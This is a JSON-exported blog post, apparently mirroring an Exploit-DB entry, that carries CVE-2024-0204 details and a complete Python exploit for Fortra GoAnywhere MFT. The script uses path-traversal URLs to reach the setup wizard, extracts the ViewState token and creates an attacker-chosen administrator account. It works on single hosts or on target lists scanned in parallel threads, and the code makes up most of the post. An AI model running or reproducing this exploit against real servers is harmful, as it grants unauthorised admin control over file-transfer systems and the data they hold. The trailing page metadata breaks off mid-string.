{"id":6086,"date":"2025-05-29T05:35:41","date_gmt":"2025-05-29T05:35:41","guid":{"rendered":"http:\/\/localhost\/?p=6086"},"modified":"2025-05-29T05:35:41","modified_gmt":"2025-05-29T05:35:41","slug":"fortra-goanywhere-mft-741-authentication-bypass","status":"publish","type":"post","link":"https:\/\/zero.redgem.net\/?p=6086","title":{"rendered":"Fortra GoAnywhere MFT 7.4.1 &#8211; Authentication Bypass"},"content":{"rendered":"<h2>Exploit Details<\/h2>\n<h3>Basic Information<\/h3>\n<table style=\"width:100%; border-collapse: collapse; margin-bottom: 20px;\">\n<tr>\n<th style=\"text-align: left; padding: 8px; border: 1px solid #ddd; \">Exploit Title<\/th>\n<td style=\"padding: 8px; border: 1px solid #ddd;\">Fortra GoAnywhere MFT 7.4.1 &#8211; Authentication Bypass<\/td>\n<\/tr>\n<tr>\n<th style=\"text-align: left; padding: 8px; border: 1px solid #ddd; \">Exploit ID<\/th>\n<td style=\"padding: 8px; border: 1px solid #ddd;\">EDB-ID:52308<\/td>\n<\/tr>\n<tr>\n<th style=\"text-align: left; padding: 8px; border: 1px solid #ddd; \">Type<\/th>\n<td style=\"padding: 8px; border: 1px solid #ddd;\">exploitdb<\/td>\n<\/tr>\n<tr>\n<th style=\"text-align: left; padding: 8px; border: 1px solid #ddd; \">Published<\/th>\n<td style=\"padding: 8px; border: 1px solid #ddd;\">2025-05-29T00:00:00<\/td>\n<\/tr>\n<tr>\n<th style=\"text-align: left; padding: 8px; border: 1px solid #ddd; \">Modified<\/th>\n<td style=\"padding: 8px; border: 1px solid #ddd;\">2025-05-29T00:00:00<\/td>\n<\/tr>\n<\/table>\n<h3>CVSS Information<\/h3>\n<table style=\"width:100%; border-collapse: collapse; margin-bottom: 20px;\">\n<tr>\n<th style=\"text-align: left; padding: 8px; border: 1px solid #ddd; \">CVSS Score<\/th>\n<td style=\"padding: 8px; border: 1px solid #ddd;\">9.8<\/td>\n<\/tr>\n<tr>\n<th style=\"text-align: left; padding: 8px; border: 1px solid #ddd; \">Severity<\/th>\n<td style=\"padding: 8px; border: 1px solid #ddd; color: #cc0000; font-weight: bold;\">CRITICAL<\/td>\n<\/tr>\n<tr>\n<th style=\"text-align: left; padding: 8px; border: 1px solid #ddd; \">Vector<\/th>\n<td style=\"padding: 8px; border: 1px solid #ddd;\">CVSS:3.1\/AV:N\/AC:L\/PR:N\/UI:N\/S:U\/C:H\/I:H\/A:H<\/td>\n<\/tr>\n<\/table>\n<h3>CVE Information<\/h3>\n<div style=\" padding: 15px; border: 1px solid #ddd; margin-bottom: 20px;\">\n<ul style=\"margin: 0; padding-left: 20px;\">\n<li>CVE-2024-0204<\/li>\n<\/ul>\n<\/div>\n<h3>Exploit Description<\/h3>\n<div style=\" padding: 15px; border-left: 4px solid #4CAF50; margin-bottom: 20px;\">\n!\/usr\/bin\/env python3 &#8212; coding: utf-8 &#8212; Exploit Title:&#8230;\n<\/div>\n<h3>Exploit Code<\/h3>\n<div style=\" color: #d4d4d4; padding: 15px; border: 1px solid #ddd; margin-bottom: 20px; font-family: 'Courier New', monospace; white-space: pre-wrap; overflow-x: auto;\">\n#!\/usr\/bin\/env python3<br \/>\n<br \/># -*- coding: utf-8 -*-<br \/>\n<br \/># Exploit Title: Fortra GoAnywhere MFT 7.4.1 &#8211; Authentication Bypass<br \/>\n<br \/># Date: 2025-05-25<br \/>\n<br \/># Exploit Author: @ibrahimsql<br \/>\n<br \/># Exploit Author&#8217;s github: https:\/\/github.com\/ibrahimsql<br \/>\n<br \/># Vendor Homepage: https:\/\/www.fortra.com\/products\/secure-file-transfer\/goanywhere-mft<br \/>\n<br \/># Software Link: https:\/\/www.fortra.com\/products\/secure-file-transfer\/goanywhere-mft\/free-trial<br \/>\n<br \/># Version: < 7.4.1\n<br \/># Tested on: Kali Linux 2024.1<br \/>\n<br \/># CVE: CVE-2024-0204<br \/>\n<br \/># Description:<br \/>\n<br \/># Fortra GoAnywhere MFT versions prior to 7.4.1 contain a critical authentication bypass vulnerability<br \/>\n<br \/># that allows unauthenticated attackers to create an administrator account by exploiting a path traversal<br \/>\n<br \/># vulnerability to access the initial account setup wizard. This exploit demonstrates two different<br \/>\n<br \/># path traversal techniques to maximize successful exploitation across various server configurations.<br \/>\n<br \/>#<br \/>\n<br \/># References:<br \/>\n<br \/># &#8211; https:\/\/old.rapid7.com\/blog\/post\/2024\/01\/23\/etr-cve-2024-0204-critical-authentication-bypass-in-fortra-goanywhere-mft\/<br \/>\n<br \/># &#8211; https:\/\/www.tenable.com\/blog\/cve-2024-0204-fortra-goanywhere-mft-authentication-bypass-vulnerability<br \/>\n<br \/># &#8211; https:\/\/nvd.nist.gov\/vuln\/detail\/cve-2024-0204<\/p>\n<p>import argparse<br \/>\n<br \/>import concurrent.futures<br \/>\n<br \/>import os<br \/>\n<br \/>import socket<br \/>\n<br \/>import sys<br \/>\n<br \/>from typing import List, Dict, Tuple, Optional, Union<\/p>\n<p>import requests<br \/>\n<br \/>from bs4 import BeautifulSoup<br \/>\n<br \/>from colorama import Fore, Style, init<\/p>\n<p># Initialize colorama for cross-platform colored output<br \/>\n<br \/>init(autoreset=True)<\/p>\n<p># Disable SSL warnings<br \/>\n<br \/>requests.packages.urllib3.disable_warnings(requests.packages.urllib3.exceptions.InsecureRequestWarning)<\/p>\n<p># Constants<br \/>\n<br \/>DEFAULT_TIMEOUT = 10<br \/>\n<br \/>MAX_THREADS = 10<br \/>\n<br \/>USER_AGENT = &#8220;Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/120.0.0.0 Safari\/537.36&#8221;<br \/>\n<br \/>PRIMARY_EXPLOIT_PATH = &#8220;\/goanywhere\/images\/..;\/wizard\/InitialAccountSetup.xhtml&#8221;<br \/>\n<br \/>SECONDARY_EXPLOIT_PATH = &#8220;\/goanywhere\/..;\/wizard\/InitialAccountSetup.xhtml&#8221;<\/p>\n<p>class Banner:<br \/>\n<br \/>    @staticmethod<br \/>\n<br \/>    def show():<br \/>\n<br \/>        banner = f&#8221;&#8221;&#8221;{Fore.CYAN}<br \/>\n<br \/> \u2588\u2588\u2588\u2588\u2588\u2588\u2557\u2588\u2588\u2557   \u2588\u2588\u2557\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2557    \u2588\u2588\u2588\u2588\u2588\u2588\u2557  \u2588\u2588\u2588\u2588\u2588\u2588\u2557 \u2588\u2588\u2588\u2588\u2588\u2588\u2557 \u2588\u2588\u2557  \u2588\u2588\u2557       \u2588\u2588\u2588\u2588\u2588\u2588\u2557 \u2588\u2588\u2588\u2588\u2588\u2588\u2557  \u2588\u2588\u2588\u2588\u2588\u2588\u2557 \u2588\u2588\u2557  \u2588\u2588\u2557<br \/>\n<br \/>\u2588\u2588\u2554\u2550\u2550\u2550\u2550\u255d\u2588\u2588\u2551   \u2588\u2588\u2551\u2588\u2588\u2554\u2550\u2550\u2550\u2550\u255d    \u255a\u2550\u2550\u2550\u2550\u2588\u2588\u2557\u2588\u2588\u2554\u2550\u2588\u2588\u2588\u2588\u2557\u255a\u2550\u2550\u2550\u2550\u2588\u2588\u2557\u2588\u2588\u2551  \u2588\u2588\u2551      \u2588\u2588\u2554\u2550\u2588\u2588\u2588\u2588\u2557\u255a\u2550\u2550\u2550\u2550\u2588\u2588\u2557\u2588\u2588\u2554\u2550\u2588\u2588\u2588\u2588\u2557\u2588\u2588\u2551  \u2588\u2588\u2551<br \/>\n<br \/>\u2588\u2588\u2551     \u2588\u2588\u2551   \u2588\u2588\u2551\u2588\u2588\u2588\u2588\u2588\u2557\u2588\u2588\u2588\u2588\u2588\u2557 \u2588\u2588\u2588\u2588\u2588\u2554\u255d\u2588\u2588\u2551\u2588\u2588\u2554\u2588\u2588\u2551 \u2588\u2588\u2588\u2588\u2588\u2554\u255d\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2551\u2588\u2588\u2588\u2588\u2588\u2557\u2588\u2588\u2551\u2588\u2588\u2554\u2588\u2588\u2551 \u2588\u2588\u2588\u2588\u2588\u2554\u255d\u2588\u2588\u2551\u2588\u2588\u2554\u2588\u2588\u2551\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2551<br \/>\n<br \/>\u2588\u2588\u2551     \u255a\u2588\u2588\u2557 \u2588\u2588\u2554\u255d\u2588\u2588\u2554\u2550\u2550\u255d\u255a\u2550\u2550\u2550\u2550\u255d\u2588\u2588\u2554\u2550\u2550\u2550\u255d \u2588\u2588\u2588\u2588\u2554\u255d\u2588\u2588\u2551\u2588\u2588\u2554\u2550\u2550\u2550\u255d \u255a\u2550\u2550\u2550\u2550\u2588\u2588\u2551\u255a\u2550\u2550\u2550\u2550\u255d\u2588\u2588\u2588\u2588\u2554\u255d\u2588\u2588\u2551\u2588\u2588\u2554\u2550\u2550\u2550\u255d \u2588\u2588\u2588\u2588\u2554\u255d\u2588\u2588\u2551\u255a\u2550\u2550\u2550\u2550\u2588\u2588\u2551<br \/>\n<br \/>\u255a\u2588\u2588\u2588\u2588\u2588\u2588\u2557 \u255a\u2588\u2588\u2588\u2588\u2554\u255d \u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2557    \u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2557\u255a\u2588\u2588\u2588\u2588\u2588\u2588\u2554\u255d\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2557     \u2588\u2588\u2551      \u255a\u2588\u2588\u2588\u2588\u2588\u2588\u2554\u255d\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2557\u255a\u2588\u2588\u2588\u2588\u2588\u2588\u2554\u255d     \u2588\u2588\u2551<br \/>\n<br \/> \u255a\u2550\u2550\u2550\u2550\u2550\u255d  \u255a\u2550\u2550\u2550\u255d  \u255a\u2550\u2550\u2550\u2550\u2550\u2550\u255d    \u255a\u2550\u2550\u2550\u2550\u2550\u2550\u255d \u255a\u2550\u2550\u2550\u2550\u2550\u255d \u255a\u2550\u2550\u2550\u2550\u2550\u2550\u255d     \u255a\u2550\u255d       \u255a\u2550\u2550\u2550\u2550\u2550\u255d \u255a\u2550\u2550\u2550\u2550\u2550\u2550\u255d \u255a\u2550\u2550\u2550\u2550\u2550\u255d      \u255a\u2550\u255d<br \/>\n<br \/>{Style.RESET_ALL}<br \/>\n<br \/>{Fore.GREEN}CVE-2024-0204 Exploit v1.0{Fore.YELLOW} | {Fore.CYAN} Developer @ibrahimsql{Style.RESET_ALL}<br \/>\n<br \/>&#8220;&#8221;&#8221;<br \/>\n<br \/>        print(banner)<\/p>\n<p>class GoAnywhereExploit:<br \/>\n<br \/>    def __init__(self, username: str, password: str, timeout: int = DEFAULT_TIMEOUT):<br \/>\n<br \/>        self.username = username<br \/>\n<br \/>        self.password = password<br \/>\n<br \/>        self.timeout = timeout<br \/>\n<br \/>        self.headers = {&#8220;User-Agent&#8221;: USER_AGENT}<br \/>\n<br \/>        self.vulnerable_targets = []<br \/>\n<br \/>        self.non_vulnerable_targets = []<br \/>\n<br \/>        self.error_targets = []<\/p>\n<p>    def check_target(self, target: str) -> Dict:<br \/>\n<br \/>        &#8220;&#8221;&#8221;<br \/>\n<br \/>        Check if target is vulnerable to CVE-2024-0204 and attempt to create an admin account<\/p>\n<p>        Args:<br \/>\n<br \/>            target: The target URL\/domain to check<\/p>\n<p>        Returns:<br \/>\n<br \/>            Dict containing result information<br \/>\n<br \/>        &#8220;&#8221;&#8221;<br \/>\n<br \/>        result = {<br \/>\n<br \/>            &#8220;target&#8221;: target,<br \/>\n<br \/>            &#8220;vulnerable&#8221;: False,<br \/>\n<br \/>            &#8220;message&#8221;: &#8220;&#8221;,<br \/>\n<br \/>            &#8220;admin_created&#8221;: False,<br \/>\n<br \/>            &#8220;error&#8221;: None<br \/>\n<br \/>        }<\/p>\n<p>        # Try primary exploit path first<br \/>\n<br \/>        primary_result = self._try_exploit_path(target, PRIMARY_EXPLOIT_PATH)<br \/>\n<br \/>        if primary_result[&#8220;vulnerable&#8221;]:<br \/>\n<br \/>            return primary_result<\/p>\n<p>        # If primary path failed, try secondary exploit path<br \/>\n<br \/>        print(f&#8221;{Fore.BLUE}[*] {Style.RESET_ALL}Primary exploit path failed, trying alternative path&#8230;&#8221;)<br \/>\n<br \/>        secondary_result = self._try_exploit_path(target, SECONDARY_EXPLOIT_PATH)<br \/>\n<br \/>        if secondary_result[&#8220;vulnerable&#8221;]:<br \/>\n<br \/>            return secondary_result<\/p>\n<p>        # If both paths failed, target is not vulnerable<br \/>\n<br \/>        print(f&#8221;{Fore.RED}[-] {Style.RESET_ALL}{target} &#8211; Not vulnerable to CVE-2024-0204&#8243;)<br \/>\n<br \/>        result[&#8220;message&#8221;] = &#8220;Not vulnerable to CVE-2024-0204&#8221;<br \/>\n<br \/>        self.non_vulnerable_targets.append(target)<br \/>\n<br \/>        return result<\/p>\n<p>    def _try_exploit_path(self, target: str, exploit_path: str) -> Dict:<br \/>\n<br \/>        &#8220;&#8221;&#8221;<br \/>\n<br \/>        Try to exploit the target using a specific exploit path<\/p>\n<p>        Args:<br \/>\n<br \/>            target: Target to exploit<br \/>\n<br \/>            exploit_path: Path to use for exploitation<\/p>\n<p>        Returns:<br \/>\n<br \/>            Dict with exploitation results<br \/>\n<br \/>        &#8220;&#8221;&#8221;<br \/>\n<br \/>        result = {<br \/>\n<br \/>            &#8220;target&#8221;: target,<br \/>\n<br \/>            &#8220;vulnerable&#8221;: False,<br \/>\n<br \/>            &#8220;message&#8221;: &#8220;&#8221;,<br \/>\n<br \/>            &#8220;admin_created&#8221;: False,<br \/>\n<br \/>            &#8220;error&#8221;: None<br \/>\n<br \/>        }<\/p>\n<p>        try:<br \/>\n<br \/>            url = f&#8221;https:\/\/{target}{exploit_path}&#8221;<br \/>\n<br \/>            session = requests.Session()<\/p>\n<p>            # Initial check for vulnerability<br \/>\n<br \/>            response = session.get(<br \/>\n<br \/>                url,<br \/>\n<br \/>                headers=self.headers,<br \/>\n<br \/>                verify=False,<br \/>\n<br \/>                timeout=self.timeout<br \/>\n<br \/>            )<\/p>\n<p>            # Determine if target is vulnerable based on response<br \/>\n<br \/>            if response.status_code == 401:<br \/>\n<br \/>                print(f&#8221;{Fore.RED}[-] {Style.RESET_ALL}{target} &#8211; Not vulnerable via {exploit_path} (401 Unauthorized)&#8221;)<br \/>\n<br \/>                result[&#8220;message&#8221;] = &#8220;Not vulnerable (401 Unauthorized)&#8221;<br \/>\n<br \/>                return result<\/p>\n<p>            if response.status_code != 200:<br \/>\n<br \/>                print(f&#8221;{Fore.YELLOW}[?] {Style.RESET_ALL}{target} &#8211; Unexpected response via {exploit_path} (Status: {response.status_code})&#8221;)<br \/>\n<br \/>                result[&#8220;message&#8221;] = f&#8221;Unexpected response (Status: {response.status_code})&#8221;<br \/>\n<br \/>                return result<\/p>\n<p>            # Target is potentially vulnerable<br \/>\n<br \/>            print(f&#8221;{Fore.GREEN}[+] {Style.RESET_ALL}{target} &#8211; Potentially vulnerable via {exploit_path}!&#8221;)<br \/>\n<br \/>            result[&#8220;vulnerable&#8221;] = True<br \/>\n<br \/>            self.vulnerable_targets.append(target)<\/p>\n<p>            # Extract ViewState token for the form submission<br \/>\n<br \/>            try:<br \/>\n<br \/>                soup = BeautifulSoup(response.text, &#8220;html.parser&#8221;)<br \/>\n<br \/>                view_state = soup.find(&#8216;input&#8217;, {&#8216;name&#8217;: &#8216;javax.faces.ViewState&#8217;})<\/p>\n<p>                if not view_state or not view_state.get(&#8216;value&#8217;):<br \/>\n<br \/>                    print(f&#8221;{Fore.YELLOW}[!] {Style.RESET_ALL}{target} &#8211; Could not extract ViewState token via {exploit_path}&#8221;)<br \/>\n<br \/>                    result[&#8220;message&#8221;] = &#8220;Could not extract ViewState token&#8221;<br \/>\n<br \/>                    return result<\/p>\n<p>                # Prepare data for admin account creation<br \/>\n<br \/>                data = {<br \/>\n<br \/>                    &#8220;j_id_u:creteAdminGrid:username&#8221;: self.username,<br \/>\n<br \/>                    &#8220;j_id_u:creteAdminGrid:password_hinput&#8221;: self.password,<br \/>\n<br \/>                    &#8220;j_id_u:creteAdminGrid:password&#8221;: &#8220;%E2%80%A2%E2%80%A2%E2%80%A2%E2%80%A2%E2%80%A2%E2%80%A2%E2%80%A2%E2%80%A2&#8221;,<br \/>\n<br \/>                    &#8220;j_id_u:creteAdminGrid:confirmPassword_hinput&#8221;: self.password,<br \/>\n<br \/>                    &#8220;j_id_u:creteAdminGrid:confirmPassword&#8221;: &#8220;%E2%80%A2%E2%80%A2%E2%80%A2%E2%80%A2%E2%80%A2%E2%80%A2%E2%80%A2%E2%80%A2&#8221;,<br \/>\n<br \/>                    &#8220;j_id_u:creteAdminGrid:submitButton&#8221;: &#8220;&#8221;,<br \/>\n<br \/>                    &#8220;createAdminForm_SUBMIT&#8221;: 1,<br \/>\n<br \/>                    &#8220;javax.faces.ViewState&#8221;: view_state[&#8216;value&#8217;]<br \/>\n<br \/>                }<\/p>\n<p>                # Attempt to create admin account<br \/>\n<br \/>                create_response = session.post(<br \/>\n<br \/>                    url,<br \/>\n<br \/>                    headers=self.headers,<br \/>\n<br \/>                    data=data,<br \/>\n<br \/>                    verify=False,<br \/>\n<br \/>                    timeout=self.timeout<br \/>\n<br \/>                )<\/p>\n<p>                if create_response.status_code == 200:<br \/>\n<br \/>                    print(f&#8221;{Fore.GREEN}[+] {Style.RESET_ALL}{target} &#8211; Admin account created successfully via {exploit_path}! Username: {self.username}, Password: {self.password}&#8221;)<br \/>\n<br \/>                    result[&#8220;admin_created&#8221;] = True<br \/>\n<br \/>                    result[&#8220;message&#8221;] = f&#8221;Admin account created successfully! Username: {self.username}, Password: {self.password}&#8221;<br \/>\n<br \/>                else:<br \/>\n<br \/>                    print(f&#8221;{Fore.RED}[-] {Style.RESET_ALL}{target} &#8211; Failed to create admin account via {exploit_path} (Status: {create_response.status_code})&#8221;)<br \/>\n<br \/>                    result[&#8220;message&#8221;] = f&#8221;Failed to create admin account (Status: {create_response.status_code})&#8221;<\/p>\n<p>            except Exception as e:<br \/>\n<br \/>                print(f&#8221;{Fore.RED}[!] {Style.RESET_ALL}{target} &#8211; Error extracting form data: {str(e)}&#8221;)<br \/>\n<br \/>                result[&#8220;message&#8221;] = f&#8221;Error extracting form data: {str(e)}&#8221;<br \/>\n<br \/>                result[&#8220;error&#8221;] = str(e)<\/p>\n<p>        except requests.exceptions.ConnectTimeout:<br \/>\n<br \/>            print(f&#8221;{Fore.YELLOW}[!] {Style.RESET_ALL}{target} &#8211; Connection timeout&#8221;)<br \/>\n<br \/>            result[&#8220;message&#8221;] = &#8220;Connection timeout&#8221;<br \/>\n<br \/>            result[&#8220;error&#8221;] = &#8220;Connection timeout&#8221;<br \/>\n<br \/>            self.error_targets.append(target)<\/p>\n<p>        except requests.exceptions.ConnectionError:<br \/>\n<br \/>            print(f&#8221;{Fore.YELLOW}[!] {Style.RESET_ALL}{target} &#8211; Connection error&#8221;)<br \/>\n<br \/>            result[&#8220;message&#8221;] = &#8220;Connection error&#8221;<br \/>\n<br \/>            result[&#8220;error&#8221;] = &#8220;Connection error&#8221;<br \/>\n<br \/>            self.error_targets.append(target)<\/p>\n<p>        except Exception as e:<br \/>\n<br \/>            print(f&#8221;{Fore.RED}[!] {Style.RESET_ALL}{target} &#8211; Error: {str(e)}&#8221;)<br \/>\n<br \/>            result[&#8220;message&#8221;] = f&#8221;Error: {str(e)}&#8221;<br \/>\n<br \/>            result[&#8220;error&#8221;] = str(e)<br \/>\n<br \/>            self.error_targets.append(target)<\/p>\n<p>        return result<\/p>\n<p>    def scan_targets(self, targets: List[str]) -> None:<br \/>\n<br \/>        &#8220;&#8221;&#8221;<br \/>\n<br \/>        Scan multiple targets concurrently<\/p>\n<p>        Args:<br \/>\n<br \/>            targets: List of targets to scan<br \/>\n<br \/>        &#8220;&#8221;&#8221;<br \/>\n<br \/>        with concurrent.futures.ThreadPoolExecutor(max_workers=MAX_THREADS) as executor:<br \/>\n<br \/>            executor.map(self.check_target, targets)<\/p>\n<p>    def load_targets_from_file(self, file_path: str) -> List[str]:<br \/>\n<br \/>        &#8220;&#8221;&#8221;<br \/>\n<br \/>        Load targets from a file<\/p>\n<p>        Args:<br \/>\n<br \/>            file_path: Path to the file containing targets<\/p>\n<p>        Returns:<br \/>\n<br \/>            List of targets<br \/>\n<br \/>        &#8220;&#8221;&#8221;<br \/>\n<br \/>        if not os.path.exists(file_path):<br \/>\n<br \/>            print(f&#8221;{Fore.RED}[!] {Style.RESET_ALL}File not found: {file_path}&#8221;)<br \/>\n<br \/>            return []<\/p>\n<p>        try:<br \/>\n<br \/>            with open(file_path, &#8220;r&#8221;) as f:<br \/>\n<br \/>                return [line.strip() for line in f if line.strip()]<br \/>\n<br \/>        except Exception as e:<br \/>\n<br \/>            print(f&#8221;{Fore.RED}[!] {Style.RESET_ALL}Error reading file: {str(e)}&#8221;)<br \/>\n<br \/>            return []<\/p>\n<p>    def print_summary(self) -> None:<br \/>\n<br \/>        &#8220;&#8221;&#8221;Print a summary of the scanning results&#8221;&#8221;&#8221;<br \/>\n<br \/>        print(f&#8221;\\n{Fore.CYAN}[*] {Style.RESET_ALL}Scan Summary:&#8221;)<br \/>\n<br \/>        print(f&#8221;{Fore.GREEN}[+] {Style.RESET_ALL}Vulnerable targets: {len(self.vulnerable_targets)}&#8221;)<br \/>\n<br \/>        print(f&#8221;{Fore.RED}[-] {Style.RESET_ALL}Non-vulnerable targets: {len(self.non_vulnerable_targets)}&#8221;)<br \/>\n<br \/>        print(f&#8221;{Fore.YELLOW}[!] {Style.RESET_ALL}Error targets: {len(self.error_targets)}&#8221;)<\/p>\n<p>        if self.vulnerable_targets:<br \/>\n<br \/>            print(f&#8221;\\n{Fore.GREEN}[+] {Style.RESET_ALL}Vulnerable targets:&#8221;)<br \/>\n<br \/>            for target in self.vulnerable_targets:<br \/>\n<br \/>                print(f&#8221;  &#8211; {target}&#8221;)<\/p>\n<p>def validate_args(args):<br \/>\n<br \/>    &#8220;&#8221;&#8221;Validate command line arguments&#8221;&#8221;&#8221;<br \/>\n<br \/>    if not args.target and not args.file:<br \/>\n<br \/>        print(f&#8221;{Fore.RED}[!] {Style.RESET_ALL}Error: You must specify either a target (-t) or a file (-f)&#8221;)<br \/>\n<br \/>        return False<\/p>\n<p>    if args.file and not os.path.exists(args.file):<br \/>\n<br \/>        print(f&#8221;{Fore.RED}[!] {Style.RESET_ALL}Error: File not found: {args.file}&#8221;)<br \/>\n<br \/>        return False<\/p>\n<p>    if not args.username or not args.password:<br \/>\n<br \/>        print(f&#8221;{Fore.RED}[!] {Style.RESET_ALL}Error: You must specify both username (-u) and password (-p)&#8221;)<br \/>\n<br \/>        return False<\/p>\n<p>    return True<\/p>\n<p>def main():<br \/>\n<br \/>    &#8220;&#8221;&#8221;Main function&#8221;&#8221;&#8221;<br \/>\n<br \/>    parser = argparse.ArgumentParser(description=&#8221;CVE-2024-0204: Fortra GoAnywhere MFT Authentication Bypass Exploit&#8221;)<\/p>\n<p>    parser.add_argument(&#8216;-t&#8217;, &#8216;&#8211;target&#8217;, help=&#8221;Target host to check (e.g., &#8216;example.com&#8217; or &#8216;192.168.1.1&#8217;)&#8221;)<br \/>\n<br \/>    parser.add_argument(&#8216;-f&#8217;, &#8216;&#8211;file&#8217;, help=&#8221;File containing targets, one per line&#8221;)<br \/>\n<br \/>    parser.add_argument(&#8216;-u&#8217;, &#8216;&#8211;username&#8217;, help=&#8221;Username for the admin account to create&#8221;)<br \/>\n<br \/>    parser.add_argument(&#8216;-p&#8217;, &#8216;&#8211;password&#8217;, help=&#8221;Password for the admin account to create&#8221;)<br \/>\n<br \/>    parser.add_argument(&#8216;&#8211;timeout&#8217;, type=int, default=DEFAULT_TIMEOUT, help=f&#8221;Connection timeout in seconds (default: {DEFAULT_TIMEOUT})&#8221;)<br \/>\n<br \/>    parser.add_argument(&#8216;&#8211;threads&#8217;, type=int, default=MAX_THREADS, help=f&#8221;Number of concurrent threads for scanning (default: {MAX_THREADS})&#8221;)<\/p>\n<p>    args = parser.parse_args()<\/p>\n<p>    # Show banner<br \/>\n<br \/>    Banner.show()<\/p>\n<p>    # Validate arguments<br \/>\n<br \/>    if not validate_args(args):<br \/>\n<br \/>        parser.print_help()<br \/>\n<br \/>        sys.exit(1)<\/p>\n<p>    # Initialize exploit<br \/>\n<br \/>    exploit = GoAnywhereExploit(<br \/>\n<br \/>        username=args.username,<br \/>\n<br \/>        password=args.password,<br \/>\n<br \/>        timeout=args.timeout<br \/>\n<br \/>    )<\/p>\n<p>    # Handle single target<br \/>\n<br \/>    if args.target:<br \/>\n<br \/>        print(f&#8221;{Fore.CYAN}[*] {Style.RESET_ALL}Checking single target: {args.target}&#8221;)<br \/>\n<br \/>        exploit.check_target(args.target)<\/p>\n<p>    # Handle targets from file<br \/>\n<br \/>    elif args.file:<br \/>\n<br \/>        targets = exploit.load_targets_from_file(args.file)<br \/>\n<br \/>        if not targets:<br \/>\n<br \/>            print(f&#8221;{Fore.RED}[!] {Style.RESET_ALL}No valid targets found in the file&#8221;)<br \/>\n<br \/>            sys.exit(1)<\/p>\n<p>        print(f&#8221;{Fore.CYAN}[*] {Style.RESET_ALL}Loaded {len(targets)} targets from file&#8221;)<br \/>\n<br \/>        print(f&#8221;{Fore.CYAN}[*] {Style.RESET_ALL}Starting scan with {args.threads} threads&#8230;\\n&#8221;)<\/p>\n<p>        exploit.scan_targets(targets)<\/p>\n<p>    # Print summary<br \/>\n<br \/>    exploit.print_summary()<\/p>\n<p>if __name__ == &#8220;__main__&#8221;:<br \/>\n<br \/>    try:<br \/>\n<br \/>        main()<br \/>\n<br \/>    except KeyboardInterrupt:<br \/>\n<br \/>        print(f&#8221;\\n{Fore.YELLOW}[!] {Style.RESET_ALL}Scan interrupted by user&#8221;)<br \/>\n<br \/>        sys.exit(0)<br \/>\n<br \/>    except Exception as e:<br \/>\n<br \/>        print(f&#8221;{Fore.RED}[!] {Style.RESET_ALL}Unhandled error: {str(e)}&#8221;)<br \/>\n<br \/>        sys.exit(1)\n<\/div>\n<p><a href=\"https:\/\/www.exploit-db.com\/exploits\/52308\" target=\"_blank\" style=\"display: inline-block;  color: white; padding: 10px 20px; text-decoration: none; border-radius: 4px;\">View Full Exploit Details<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Exploit Details Basic Information Exploit Title Fortra GoAnywhere MFT 7.4.1 &#8211; Authentication Bypass Exploit ID EDB-ID:52308 Type exploitdb Published 2025-05-29T00:00:00 Modified 2025-05-29T00:00:00 CVSS Information CVSS&#8230;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[9,6,8,35,12,40,13,7,11,5],"class_list":["post-6086","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-critical","tag-cve","tag-cvss","tag-cvss-98","tag-exploit","tag-exploitdb","tag-news","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.5 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>Fortra GoAnywhere MFT 7.4.1 - Authentication Bypass - zero redgem<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/zero.redgem.net\/?p=6086\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"Fortra GoAnywhere MFT 7.4.1 - Authentication Bypass - zero redgem\" \/>\n<meta property=\"og:description\" content=\"Exploit Details Basic Information Exploit Title Fortra GoAnywhere MFT 7.4.1 &#8211; Authentication Bypass Exploit ID EDB-ID:52308 Type exploitdb Published 2025-05-29T00:00:00 Modified 2025-05-29T00:00:00 CVSS Information CVSS...\" \/>\n<meta property=\"og:url\" content=\"https:\/\/zero.redgem.net\/?p=6086\" \/>\n<meta property=\"og:site_name\" content=\"zero redgem\" \/>\n<meta property=\"article:published_time\" content=\"2025-05-29T05:35:41+00:00\" \/>\n<meta name=\"author\" content=\"invoker\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"invoker\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"8 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=6086#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=6086\"},\"author\":{\"name\":\"invoker\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\"},\"headline\":\"Fortra GoAnywhere MFT 7.4.1 &#8211; Authentication 